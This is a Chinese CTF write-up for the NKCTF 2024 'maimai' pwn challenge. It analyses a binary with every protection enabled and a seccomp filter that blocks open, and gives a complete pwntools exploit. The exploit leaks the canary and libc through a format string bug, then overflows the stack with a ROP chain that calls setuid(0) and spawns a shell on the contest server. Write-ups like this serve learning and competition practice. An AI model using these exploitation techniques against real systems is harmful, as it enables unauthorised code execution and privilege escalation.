2024NKCTF-maimai查分器


格式化字符串+栈溢出+沙箱

保护全开

$checksec pwn
[*] '/home/starrysky/game_2024/nkctf/maimai/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

沙箱禁用了open

$seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

要通过功能1,得到一个大于0x2da2的值,功能150次输入一个浮点数和一个字符串,每个字符串对应一个整数,最终的值是每个浮点数和字符串对应的数值的乘积的和,这个随便试试差不多就出来了

unsigned __int64 sub_188C()
{
  int v0; // eax
  double v1; // xmm0_8
  int v3; // [rsp+8h] [rbp-28h]
  int i; // [rsp+Ch] [rbp-24h]
  double v5; // [rsp+10h] [rbp-20h] BYREF
  double v6; // [rsp+18h] [rbp-18h]
  char v7[5]; // [rsp+23h] [rbp-Dh] BYREF
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v6 = 0.0;
  puts("Input chart level and rank.");
  for ( i = 0; i <= 49; ++i )
  {
    __isoc99_scanf("%lf %s", &v5, v7);
    if ( v5 == 15.0 )
    {
      v0 = v3++;
      if ( v0 == 2 )
      {
        puts("Invalid.");
        return v8 - __readfsqword(0x28u);
      }
    }
    v1 = sub_1633(v7);
    v6 = v1 * v5 + v6;
  }
  dword_504C = (int)v6;
  puts("Calculation Done.");
  return v8 - __readfsqword(0x28u);
}

功能2存在格式化字符串漏洞,由于main函数里是while循环,所以这个格式化字符串漏洞是可以多次被使用的,这个函数里调用了一个存在栈溢出漏洞的函数

unsigned __int64 sub_19EA()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Input your nickname.");
  read(0, buf, 8uLL);
  printf(buf);
  printf(", your rating is: %d\n", (unsigned int)dword_504C);
  if ( dword_504C < dword_5010 )
  {
    puts("I think you should play more maimai.");
    exit(0);
  }
  sub_1984();
  return v2 - __readfsqword(0x28u);
}
unsigned __int64 sub_1984()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Big God Coming!");
  puts("Can you teach me how to play maimai?");
  read(0, buf, 0x80uLL);
  return v2 - __readfsqword(0x28u);
}

由于保护全开,所以要泄露canarylibc,直接getshell打远程会发现没有读flag的权限,这里有两种思路:

  • openat代替openflag
  • setuid(0)提权

我复现的时候用的第二种,第一种比较麻烦,需要再泄露栈地址并且在栈上构造orw,还存在读长度不够的问题,需要再调用一次read

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node.nkctf.yuzhian.com.cn', 38179)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendlineafter(b'Select a option', b'1')
r.sendlineafter(b'Input chart level and rank', b'1 S ' * 49 + b'10000 S')
r.sendlineafter(b'Select a option', b'2')
r.sendafter(b'nickname.', b'%7$p%3$p')

libc = ELF('./libc6_2.35-0ubuntu3.6_amd64/lib/x86_64-linux-gnu/libc.so.6')
r.recvuntil('0x')
canary = int(r.recv(16), 16)
r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) - 0x1147e2

rdi = 0x000000000002a3e5 + libc_base
ret = 0x0000000000029139 + libc_base
system = libc.sym['system'] + libc_base
bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
setuid = libc_base + libc.sym['setuid']

p = b'a' * 0x28 + p64(canary) + p64(ret) + p64(rdi) + p64(0) + p64(setuid) + p64(rdi) + p64(bin_sh) + p64(system)
r.sendafter(b'Can you teach me how to play maimai?', p)

r.interactive()

  目录